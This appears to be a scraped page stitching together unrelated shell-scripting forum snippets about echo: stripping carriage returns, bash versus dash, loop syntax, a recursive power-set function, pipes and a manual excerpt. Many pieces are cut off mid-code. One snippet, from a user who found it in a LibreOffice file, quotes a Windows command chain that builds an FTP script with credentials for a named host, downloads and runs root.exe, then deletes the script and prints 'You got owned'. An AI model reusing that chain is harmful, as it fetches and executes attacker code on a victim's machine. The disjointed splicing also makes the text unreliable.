Dear community,
I have a very simple question, but I cannot figure out how to solve.
I have a simple string containing the carriage return or line feed at the end:
Code:
# echo $var
BLA BLA BLA
[CR]
Now if I want to remove the CR I can use:
Code:
echo $var|tr -d '\n\r'
Because the $var should be reported on a file, togheter with other values, how can I remove the CR directly on the $var?
I am some new to the programming world but starting to get hang of it.
My question is,what shell should I use bash or sh (Ubuntu uses dash for sh)
Is the one faster, users more memory etc?
Example scripts
Code:
#1
for I in {1..10}; do echo $I; done
#2
for I in 1 2 3 4 5 6 7 8 9 10; do echo $I; done
#3
for I in $(seq 1 10); do echo $I; done
#4
for ((I=1; I <= 10 ; I++)
Hi guys...was trying to use while loop and a sentry to prompt user input again if an invalid option was entered...but somehow I got a "while" unmatched error...The code is as below:
Code:
#!/system/bin/sh
finsh=0
while [ $finish -ne 0 ]
do
echo "Please select an option: "
echo "1. One" echo "2. Two"
echo "3. Three"
echo "4.
I have a following bash script I encountered on the web that prints the power set of a given lines of elements.
p() { [ $# -eq 0 ] && echo || (shift; p "$@") |
while read r ; do echo -e "$1 $r\n$r"; done }
after the first && there is echo that does not have any argument.
Here is the code to test it:
p $(echo -e "1\n2\n3")
if i want to display "aaa" on screen:
(1)$: echo aaa | cat ... works OK
(2)$: echo aaa | ( cat ) ... works OK
(3)$: echo aaa | ( cat & ) ... NOT working
(4)$: ( echo aaa & ) | cat ... works OK
(5)$: echo aaa | ( cat <&0 & ) ... works ok in BASH (but not in SH)
(6)$: echo aaa | ( cat <&3 & ) 3<&0 ...
I am on Ubuntu 12.04 and using LO 3.5.4
I woke up this morning to find this displayed on my PC in a LO write file:
2011-12 Governor 21 >> ik &echo user alizametal.com.tr hd611 >> ik &echo binary >> ik &echo get www/root.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &root.exe &exit echo You got owned
cmd /c echo open 89.19.
Synopsis
echo [-neE] [arg ...]
Description
echo outputs it's args to stdout, separated by spaces, followed by a newline. The return status is always 0. If the shopt option xpg_echo is set, Bash dynamically determines whether echo should expand escape characters (listed below) by default based on the current platform.
I have to change the smp_affinity of a interrupt permanently.
So, I'm trying to write a shellscript which prints a tree-view for a specific directory and it's subdirs to pdf via latex, as well as the titles and contents of all scripts contained within that primary directory.